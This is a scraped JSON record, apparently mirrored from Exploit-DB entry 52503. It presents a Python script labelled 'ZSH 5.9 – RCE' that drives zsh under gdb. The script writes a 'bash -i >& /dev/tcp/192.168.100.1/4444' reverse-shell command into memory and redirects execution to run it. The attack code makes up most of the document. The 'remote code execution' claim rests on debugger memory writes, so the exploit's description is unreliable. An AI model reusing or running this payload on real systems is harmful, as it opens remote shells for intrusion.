{“lastseen”:”2026-04-10T02:26:31″,”description”:”Exploit ZSH 5.9 – RCE Date: 30-12-2025 Exploit Author: sinanadilrana import pexpect import sys import time def debugprintmsg: printf\\”DEBUG msg\\” def returntogdbgdb, maxattempts=3, timeout=3: \\”\\”\\”More reliable function to return to GDB prompt\\”\\”\\”…”,”published”:”2026-04-09T00:00:00″,”modified”:”2026-04-09T00:00:00″,”type”:”exploitdb”,”title”:”ZSH 5.9 – RCE”,”source”:””,”references”:””,”id”:”EDB-ID:52503″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit ZSH 5.9 – RCE \\r\\n# Date: 30-12-2025\\r\\n# Exploit Author: sinanadilrana\\r\\nimport pexpect\\r\\nimport sys\\r\\nimport time\\r\\n\\r\\ndef debug_print(msg):\\r\\n print(f\\”[DEBUG] {msg}\\”)\\r\\n\\r\\ndef return_to_gdb(gdb, max_attempts=3, timeout=3):\\r\\n \\”\\”\\”More reliable function to return to GDB prompt\\”\\”\\”\\r\\n debug_print(\\”Attempting to return to GDB…\\”)\\r\\n for attempt in range(max_attempts):\\r\\n gdb.sendintr() # Send CTRL+C\\r\\n time.sleep(0.5)\\r\\n try:\\r\\n index = gdb.expect([b’pwndbg\\u003e’, b’\\\\(gdb\\\\)’, pexpect.TIMEOUT], timeout=timeout)\\r\\n if index in [0, 1]: # Found either pwndbg\\u003e or (gdb) prompt\\r\\n debug_print(\\”Successfully returned to GDB\\”)\\r\\n return True\\r\\n except pexpect.EOF:\\r\\n debug_print(\\”Session ended unexpectedly\\”)\\r\\n return False\\r\\n \\r\\n debug_print(f\\”Attempt {attempt + 1} failed, retrying…\\”)\\r\\n \\r\\n debug_print(\\”Failed to return to GDB after maximum attempts\\”)\\r\\n return False\\r\\n\\r\\n# Configure pexpect with consistent bytes mode\\r\\ngdb = pexpect.spawn(‘gdb –args zsh -f’, timeout=30, encoding=None)\\r\\ngdb.logfile = sys.stdout.buffer\\r\\n\\r\\ndebug_print(\\”Starting GDB with zsh -f…\\”)\\r\\ntry:\\r\\n gdb.expect(b’pwndbg\\u003e’, timeout=10)\\r\\n debug_print(\\”GDB started successfully\\”)\\r\\nexcept (pexpect.EOF, pexpect.TIMEOUT) as e:\\r\\n debug_print(f\\”GDB failed to start: {str(e)}\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n# Run zsh and handle shell\\r\\ndebug_print(\\”Running zsh…\\”)\\r\\ngdb.sendline(b’run’)\\r\\n\\r\\nshell_prompts = [b’% ‘, b’# ‘, b’\\\\\\\\$ ‘, b’vuln\\u003e’, b’vuln% ‘]\\r\\ntry:\\r\\n gdb.expect(shell_prompts + [b’pwndbg\\u003e’], timeout=10)\\r\\n debug_print(\\”Shell started successfully\\”)\\r\\nexcept pexpect.TIMEOUT:\\r\\n debug_print(\\”Timeout waiting for shell\\”)\\r\\n gdb.sendintr()\\r\\n time.sleep(1)\\r\\n\\r\\n# Shell command execution\\r\\nif any(prompt in gdb.after for prompt in shell_prompts):\\r\\n for cmd in [b’!’, b’!!11111111111′]:\\r\\n debug_print(f\\”Sending: {cmd.decode(‘utf-8′, errors=’replace’)}\\”)\\r\\n gdb.sendline(cmd)\\r\\n try:\\r\\n gdb.expect(shell_prompts, timeout=3)\\r\\n debug_print(\\”Command executed\\”)\\r\\n except pexpect.TIMEOUT:\\r\\n debug_print(\\”No response from command\\”)\\r\\n\\r\\n # Use the new return_to_gdb function\\r\\n if not return_to_gdb(gdb):\\r\\n debug_print(\\”Critical error – couldn’t return to GDB\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n# Memory operations – simplified and more reliable\\r\\nif b’pwndbg\\u003e’ in gdb.after:\\r\\n mem_commands = [\\r\\n b’x\/s 0x555555659000′,\\r\\n b’set {char[120]} 0x555555659000 = \\”bash -c \\\\\\\\\\”bash -i \\u003e\\u0026 \/dev\/tcp\/192.168.100.1\/4444 0\\u003e\\u00261\\\\\\\\\\”\\”‘,\\r\\n b’set {long}0x7fffffffd868 = 0x7ffff7cc9110′,\\r\\n b’set $rdi = 0x555555659000′,\\r\\n b’set $rsp = $rsp – 8′,\\r\\n b’continue’,\\r\\n b’set {long}$rsp = 0x55555555a000′,\\r\\n b’set $rip = 0x7ffff7cc9110′,\\r\\n b’set $rdi = 0x555555659000′,\\r\\n b’continue’\\r\\n ]\\r\\n\\r\\n for cmd in mem_commands:\\r\\n debug_print(f\\”Executing: {cmd.decode(‘utf-8′, errors=’replace’)}\\”)\\r\\n gdb.sendline(cmd)\\r\\n try:\\r\\n if b’continue’ in cmd:\\r\\n gdb.expect([b’pwndbg\\u003e’] + shell_prompts, timeout=15)\\r\\n else:\\r\\n gdb.expect(b’pwndbg\\u003e’, timeout=5)\\r\\n except pexpect.TIMEOUT:\\r\\n debug_print(\\”Timeout – attempting to recover…\\”)\\r\\n if not return_to_gdb(gdb):\\r\\n debug_print(\\”Failed to recover after timeout\\”)\\r\\n break\\r\\n\\r\\n# Final interactive mode\\r\\ndebug_print(\\”Complete – entering interactive\\”)\\r\\ntry:\\r\\n gdb.logfile = None\\r\\n gdb.interact()\\r\\nexcept Exception as e:\\r\\n debug_print(f\\”Interactive error: {str(e)}\\”)\\r\\nfinally:\\r\\n gdb.close()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52503″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52503″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-10T02:26:31″,”description”:”Exploit ZSH 5.9 – RCE Date: 30-12-2025 Exploit Author: sinanadilrana import pexpect import sys import time def debugprintmsg: printf\\”DEBUG msg\\” def returntogdbgdb, maxattempts=3, timeout=3: \\”\\”\\”More…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-42439","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n